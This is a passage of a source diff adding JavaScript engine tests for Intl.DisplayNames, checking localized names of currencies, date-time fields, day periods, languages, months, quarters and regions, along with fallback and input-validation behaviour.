+ "USD": "$",
+ "EUR": "€",
+ "FRF": "FRF",
+ "CNY": "CN¥",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "CNY": "¥",
+ },
+ },
+ "fr": {
+ long: {
+ "USD": "dollar des États-Unis",
+ "EUR": "euro",
+ "FRF": "franc français",
+ "CNY": "yuan renminbi chinois",
+ "XAU": "or",
+ },
+ short: {
+ "USD": "$US",
+ "EUR": "€",
+ "FRF": "F",
+ "CNY": "CNY",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "USD": "$",
+ "CNY": "¥",
+ },
+ },
+ "zh": {
+ long: {
+ "USD": "美元",
+ "EUR": "欧元",
+ "FRF": "法国法郎",
+ "CNY": "人民币",
+ "XAU": "黄金",
+ },
+ short: {
+ "USD": "US$",
+ "EUR": "€",
+ "FRF": "FRF",
+ "CNY": "¥",
+ "XAU": "XAU",
+ },
+ narrow: {
+ "USD": "$",
+ },
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "currency", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "currency");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [currency, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(currency), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(currency)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "currency"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| isn't a well-formed currency code.
+ assertThrowsInstanceOf(() => dn.of("us"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("euro"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("€uro"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "currency"});
+ let dn2 = new Intl.DisplayNames("en", {type: "currency", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "currency", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "AAA" is not a registered currency code.
+ assertEq(dn1.of("AAA"), "AAA");
+ assertEq(dn2.of("AAA"), "AAA");
+ assertEq(dn3.of("AAA"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("aaa"), "AAA");
+ assertEq(dn2.of("aaa"), "AAA");
+ assertEq(dn3.of("aaa"), undefined);
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "currency", fallback: "none"});
+
+ assertEq(dn.of("USD"), "US Dollar");
+ assertEq(dn.of("usd"), "US Dollar");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/dateTimeField.js b/js/src/tests/non262/Intl/DisplayNames/dateTimeField.js
new file mode 100644
index 0000000000..f802b1b173
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/dateTimeField.js
@@ -0,0 +1,173 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: {
+ "era": "era",
+ "year": "year",
+ "quarter": "quarter",
+ "month": "month",
+ "weekOfYear": "week",
+ "weekday": "day of the week",
+ "day": "day",
+ "dayPeriod": "AM/PM",
+ "hour": "hour",
+ "minute": "minute",
+ "second": "second",
+ "timeZoneName": "time zone",
+ },
+ short: {
+ "year": "yr.",
+ "quarter": "qtr.",
+ "month": "mo.",
+ "weekOfYear": "wk.",
+ "weekday": "day of wk.",
+ "dayPeriod": "AM/PM",
+ "hour": "hr.",
+ "minute": "min.",
+ "second": "sec.",
+ "timeZoneName": "zone",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "era": "Epoche",
+ "year": "Jahr",
+ "quarter": "Quartal",
+ "month": "Monat",
+ "weekOfYear": "Woche",
+ "weekday": "Wochentag",
+ "day": "Tag",
+ "dayPeriod": "Tageshälfte",
+ "hour": "Stunde",
+ "minute": "Minute",
+ "second": "Sekunde",
+ "timeZoneName": "Zeitzone",
+ },
+ short: {
+ "era": "Epoche",
+ "year": "Jahr",
+ "quarter": "Quart.",
+ "month": "Monat",
+ "weekOfYear": "Woche",
+ "weekday": "Wochentag",
+ "day": "Tag",
+ "dayPeriod": "Tageshälfte",
+ "hour": "Std.",
+ "minute": "Min.",
+ "second": "Sek.",
+ "timeZoneName": "Zeitzone",
+ },
+ narrow: {
+ "era": "E",
+ "year": "J",
+ "quarter": "Q",
+ "month": "M",
+ "weekOfYear": "W",
+ "weekday": "Wochent.",
+ "dayPeriod": "Tagesh.",
+ "timeZoneName": "Zeitz.",
+ },
+ },
+ "fr": {
+ long: {
+ "era": "ère",
+ "year": "année",
+ "quarter": "trimestre",
+ "month": "mois",
+ "weekOfYear": "semaine",
+ "weekday": "jour de la semaine",
+ "day": "jour",
+ "dayPeriod": "cadran",
+ "hour": "heure",
+ "minute": "minute",
+ "second": "seconde",
+ "timeZoneName": "fuseau horaire",
+ },
+ short: {
+ "year": "an",
+ "quarter": "trim.",
+ "month": "m.",
+ "weekOfYear": "sem.",
+ "weekday": "j (sem.)",
+ "day": "j",
+ "hour": "h",
+ "minute": "min",
+ "second": "s",
+ },
+ narrow: {
+ "year": "a",
+ },
+ },
+ "zh": {
+ long: {
+ "era": "纪元",
+ "year": "年",
+ "quarter": "季度",
+ "month": "月",
+ "weekOfYear": "周",
+ "weekday": "工作日",
+ "day": "日",
+ "dayPeriod": "上午/下午",
+ "hour": "小时",
+ "minute": "分钟",
+ "second": "秒",
+ "timeZoneName": "时区",
+ },
+ short: {
+ "quarter": "季",
+ "minute": "分",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "dateTimeField", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "dateTimeField");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [field, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(field), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(field)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "dayPeriod"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(1), RangeError);
+
+ // Throws an error if not one of ["era", "year", "quarter", "month", "weekOfYear", "weekday",
+ // "day", "dayPeriod", "hour", "minute", "second", "timeZoneName"].
+ assertThrowsInstanceOf(() => dn.of(""), RangeError);
+ assertThrowsInstanceOf(() => dn.of("ERA"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("Era"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("era\0"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("dayperiod"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("day-period"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("timezoneName"), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/dayPeriod.js b/js/src/tests/non262/Intl/DisplayNames/dayPeriod.js
new file mode 100644
index 0000000000..cfeafdf5ee
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/dayPeriod.js
@@ -0,0 +1,80 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: {
+ "am": "AM",
+ "pm": "PM",
+ },
+ short: {},
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "am": "AM",
+ "pm": "PM",
+ },
+ short: {},
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "am": "AM",
+ "pm": "PM",
+ },
+ short: {},
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "am": "上午",
+ "pm": "下午",
+ },
+ short: {},
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "dayPeriod", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "dayPeriod");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [dayPeriod, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(dayPeriod), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(dayPeriod)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "dayPeriod"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(1), RangeError);
+
+ // Throws an error if not one of ["am", "pm"].
+ assertThrowsInstanceOf(() => dn.of(""), RangeError);
+ assertThrowsInstanceOf(() => dn.of("AM"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("PM"), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/language.js b/js/src/tests/non262/Intl/DisplayNames/language.js
new file mode 100644
index 0000000000..c8380a8184
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/language.js
@@ -0,0 +1,195 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "de": "German",
+ "de-AT": "German (Austria)",
+ "de-1996": "German (German orthography of 1996)",
+ "en": "English",
+ "en-Hant-GB": "English (Traditional, United Kingdom)",
+ "en-Hans-US": "English (Simplified, United States)",
+ "fr": "French",
+ "nl-BE": "Dutch (Belgium)",
+ "cr-Cans": "Cree (Unified Canadian Aboriginal Syllabics)",
+ },
+ short: {
+ "en-Hant-GB": "English (Traditional, UK)",
+ "en-Hans-US": "English (Simplified, US)",
+ "cr-Cans": "Cree (UCAS)",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "de": "Deutsch",
+ "de-AT": "Deutsch (Österreich)",
+ "de-1996": "Deutsch (Neue deutsche Rechtschreibung)",
+ "en": "Englisch",
+ "en-Hant-GB": "Englisch (Traditionell, Vereinigtes Königreich)",
+ "en-Hans-US": "Englisch (Vereinfacht, Vereinigte Staaten)",
+ "fr": "Französisch",
+ "nl-BE": "Niederländisch (Belgien)",
+ },
+ short: {
+ "en-Hant-GB": "Englisch (Traditionell, GB)",
+ "en-Hans-US": "Englisch (Vereinfacht, USA)",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "de": "allemand",
+ "de-AT": "allemand (Autriche)",
+ "de-1996": "allemand (orthographe allemande de 1996)",
+ "en": "anglais",
+ "en-Hant-GB": "anglais (traditionnel, Royaume-Uni)",
+ "en-Hans-US": "anglais (simplifié, États-Unis)",
+ "fr": "français",
+ "nl-BE": "néerlandais (Belgique)",
+ },
+ short: {
+ "en-Hant-GB": "anglais (traditionnel, R.-U.)",
+ "en-Hans-US": "anglais (simplifié, É.-U.)",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "zh": "中文",
+ "zh-Hant": "中文(繁体)",
+ "zh-Hant-CN": "中文(繁体,中国)",
+ "zh-Hans-HK": "中文(简体,中国香港特别行政区)",
+ },
+ short: {
+ "zh-Hans-HK": "中文(简体,香港)"
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "ar": "العربية",
+ "ar-SA": "العربية (المملكة العربية السعودية)",
+ "zh-MO": "الصينية (منطقة ماكاو الإدارية الخاصة)",
+ },
+ short: {
+ "zh-MO": "الصينية (مكاو)",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "language", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "language");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [language, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(language), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(language)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "language"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| can't be parsed as a `unicode_language_id` production.
+ assertThrowsInstanceOf(() => dn.of("en-"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-u-ca-gregory"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-x-private"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "language"});
+ let dn2 = new Intl.DisplayNames("en", {type: "language", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "language", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "aaa" is not a registered language code.
+ assertEq(dn1.of("aaa"), "aaa");
+ assertEq(dn2.of("aaa"), "aaa");
+ assertEq(dn3.of("aaa"), undefined);
+
+ // "aaa" is not a registered language code.
+ assertEq(dn1.of("aaa-Latn"), "aaa-Latn");
+ assertEq(dn2.of("aaa-Latn"), "aaa-Latn");
+ assertEq(dn3.of("aaa-Latn"), undefined);
+
+ // "Aaaa" is not a registered script code.
+ assertEq(dn1.of("en-Aaaa"), "en-Aaaa");
+ assertEq(dn2.of("en-Aaaa"), "en-Aaaa");
+ assertEq(dn3.of("en-Aaaa"), undefined);
+
+ // "AA" is not a registered region code.
+ assertEq(dn1.of("en-AA"), "en-AA");
+ assertEq(dn2.of("en-AA"), "en-AA");
+ assertEq(dn3.of("en-AA"), undefined);
+
+ // "XZ" doesn't have any localised names.
+ assertEq(dn1.of("en-XZ"), "en-XZ");
+ assertEq(dn2.of("en-XZ"), "en-XZ");
+ assertEq(dn3.of("en-XZ"), undefined);
+
+ // "998" is canonicalised to "XZ".
+ assertEq(dn1.of("en-998"), "en-XZ");
+ assertEq(dn2.of("en-998"), "en-XZ");
+ assertEq(dn3.of("en-998"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("AAA"), "aaa");
+ assertEq(dn2.of("AAA"), "aaa");
+ assertEq(dn3.of("AAA"), undefined);
+
+ assertEq(dn1.of("En-aaaa"), "en-Aaaa");
+ assertEq(dn2.of("En-aaaa"), "en-Aaaa");
+ assertEq(dn3.of("En-aaaa"), undefined);
+
+ assertEq(dn1.of("EN-aa"), "en-AA");
+ assertEq(dn2.of("EN-aa"), "en-AA");
+ assertEq(dn3.of("EN-aa"), undefined);
+}
+
+// Ensure language tag canonicalisation is performed.
+{
+ let dn = new Intl.DisplayNames("en", {type: "language", fallback: "none"});
+
+ assertEq(dn.of("ru-RU"), "Russian (Russia)");
+
+ // ICU's canonicalisation supports "SU" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-SU")[0], "ru-RU");
+ assertEq(dn.of("ru-SU"), "Russian (Russia)");
+
+ // ICU's canonicalisation doesn't support "172" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-172")[0], "ru-RU");
+ assertEq(dn.of("ru-172"), "Russian (Russia)");
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "language", fallback: "none"});
+
+ assertEq(dn.of("IT-LATN-IT"), "Italian (Latin, Italy)");
+ assertEq(dn.of("it-latn-it"), "Italian (Latin, Italy)");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/month.js b/js/src/tests/non262/Intl/DisplayNames/month.js
new file mode 100644
index 0000000000..39629b2a86
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/month.js
@@ -0,0 +1,109 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December", 13],
+ short: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", 13],
+ narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D", 13],
+ },
+ "de": {
+ long: ["Januar", "Februar", "März", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Dezember", 13],
+ short: ["Jan", "Feb", "Mär", "Apr", "Mai", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dez", 13],
+ narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D", 13],
+ },
+ "fr": {
+ long: ["janvier", "février", "mars", "avril", "mai", "juin", "juillet", "août", "septembre", "octobre", "novembre", "décembre", 13],
+ short: ["janv.", "févr.", "mars", "avr.", "mai", "juin", "juil.", "août", "sept.", "oct.", "nov.", "déc.", 13],
+ narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D", 13],
+ },
+ "zh": {
+ long: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月", 13],
+ short: ["1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月", 13],
+ narrow: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", 13],
+ },
+ "zh-u-ca-chinese": {
+ long: ["正月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "腊月", 13],
+ short: ["正月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "腊月", 13],
+ narrow: ["正", "二", "三", "四", "五", "六", "七", "八", "九", "十", "冬", "腊", 13],
+ },
+ "en-u-ca-hebrew": {
+ long: ["Tishri", "Heshvan", "Kislev", "Tevet", "Shevat", "Adar I", "Adar", "Nisan", "Iyar", "Sivan", "Tamuz", "Av", "Elul"],
+ short: ["Tishri", "Heshvan", "Kislev", "Tevet", "Shevat", "Adar I", "Adar", "Nisan", "Iyar", "Sivan", "Tamuz", "Av", "Elul"],
+ narrow: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "month", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "month");
+ assertEq(resolved.fallback, "code");
+
+ for (let i = 0; i < 13; i++) {
+ assertEq(dn.of(i + 1), String(styleTests[i]));
+
+ // Also works with strings.
+ assertEq(dn.of(String(i + 1)), String(styleTests[i]));
+
+ // Also works with objects.
+ assertEq(dn.of(Object(i + 1)), String(styleTests[i]));
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "month"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+
+ // Throws an error if |code| isn't an integer.
+ assertThrowsInstanceOf(() => dn.of(1.5), RangeError);
+ assertThrowsInstanceOf(() => dn.of(-Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(NaN), RangeError);
+
+ // Throws an error if outside of [1, 13].
+ assertThrowsInstanceOf(() => dn.of(-1), RangeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(14), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "month"});
+ let dn2 = new Intl.DisplayNames("en", {type: "month", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "month", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ assertEq(dn1.resolvedOptions().calendar, "gregory");
+ assertEq(dn2.resolvedOptions().calendar, "gregory");
+ assertEq(dn3.resolvedOptions().calendar, "gregory");
+
+ // The Gregorian calendar doesn't have a thirteenth month.
+ assertEq(dn1.of("13"), "13");
+ assertEq(dn2.of("13"), "13");
+ assertEq(dn3.of("13"), undefined);
+
+ // The returned fallback is in "canonical" case.
+ assertEq(dn1.of("13.0"), "13");
+ assertEq(dn2.of("13.0"), "13");
+ assertEq(dn3.of("13.0"), undefined);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/quarter.js b/js/src/tests/non262/Intl/DisplayNames/quarter.js
new file mode 100644
index 0000000000..279d32d3c8
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/quarter.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["1st quarter", "2nd quarter", "3rd quarter", "4th quarter"],
+ short: ["Q1", "Q2", "Q3", "Q4"],
+ narrow: ["Q1", "Q2", "Q3", "Q4"],
+ },
+ "de": {
+ long: ["1. Quartal", "2. Quartal", "3. Quartal", "4. Quartal"],
+ short: ["Q1", "Q2", "Q3", "Q4"],
+ narrow: ["Q1", "Q2", "Q3", "Q4"],
+ },
+ "fr": {
+ long: ["1er trimestre", "2e trimestre", "3e trimestre", "4e trimestre"],
+ short: ["T1", "T2", "T3", "T4"],
+ narrow: ["T1", "T2", "T3", "T4"],
+ },
+ "zh": {
+ long: ["第一季度", "第二季度", "第三季度", "第四季度"],
+ short: ["1季度", "2季度", "3季度", "4季度"],
+ narrow: ["1季度", "2季度", "3季度", "4季度"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "quarter", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "quarter");
+ assertEq(resolved.fallback, "code");
+
+ for (let i = 0; i < 4; i++) {
+ assertEq(dn.of(i + 1), styleTests[i]);
+
+ // Also works with strings.
+ assertEq(dn.of(String(i + 1)), styleTests[i]);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(i + 1)), styleTests[i]);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "quarter"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+
+ // Throws an error if |code| isn't an integer.
+ assertThrowsInstanceOf(() => dn.of(1.5), RangeError);
+ assertThrowsInstanceOf(() => dn.of(-Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(NaN), RangeError);
+
+ // Throws an error if outside of [1, 4].
+ assertThrowsInstanceOf(() => dn.of(-1), RangeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(5), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/region.js b/js/src/tests/non262/Intl/DisplayNames/region.js
new file mode 100644
index 0000000000..94849d6e66
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/region.js
@@ -0,0 +1,157 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "DE": "Germany",
+ "GB": "United Kingdom",
+ "US": "United States",
+ "FR": "France",
+ },
+ short: {
+ "GB": "UK",
+ "US": "US",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "DE": "Deutschland",
+ "GB": "Vereinigtes Königreich",
+ "US": "Vereinigte Staaten",
+ "FR": "Frankreich",
+ },
+ short: {
+ "GB": "GB",
+ "US": "USA",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "DE": "Allemagne",
+ "GB": "Royaume-Uni",
+ "US": "États-Unis",
+ "FR": "France",
+ },
+ short: {
+ "GB": "R.-U.",
+ "US": "É.-U.",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "CN": "中国",
+ "HK": "中国香港特别行政区",
+ },
+ short: {
+ "HK": "香港"
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "SA": "المملكة العربية السعودية",
+ "MO": "منطقة ماكاو الإدارية الخاصة",
+ },
+ short: {
+ "MO": "مكاو",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "region", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "region");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [region, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(region), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(region)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "region"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| can't be parsed as a `unicode_region_subtag` production.
+ assertThrowsInstanceOf(() => dn.of("CA-"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-CA"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "region"});
+ let dn2 = new Intl.DisplayNames("en", {type: "region", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "region", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "AA" is not a registered region code.
+ assertEq(dn1.of("AA"), "AA");
+ assertEq(dn2.of("AA"), "AA");
+ assertEq(dn3.of("AA"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("aa"), "AA");
+ assertEq(dn2.of("aa"), "AA");
+ assertEq(dn3.of("aa"), undefined);
+
+ // "998" is canonicalised to "XZ", but "XZ" has no localised names.
+ assertEq(new Intl.Locale("und-998").region, "XZ");
+
+ // Ensure we return the input and not the canonicalised input.
+ assertEq(dn1.of("998"), "998");
+ assertEq(dn2.of("998"), "998");
+ assertEq(dn3.of("998"), undefined);
+
+ // "XZ" should be consistent with "998".
+ assertEq(dn1.of("XZ"), "XZ");
+ assertEq(dn2.of("XZ"), "XZ");
+ assertEq(dn3.of("XZ"), undefined);
+}
+
+// Ensure language tag canonicalisation is performed.
+{
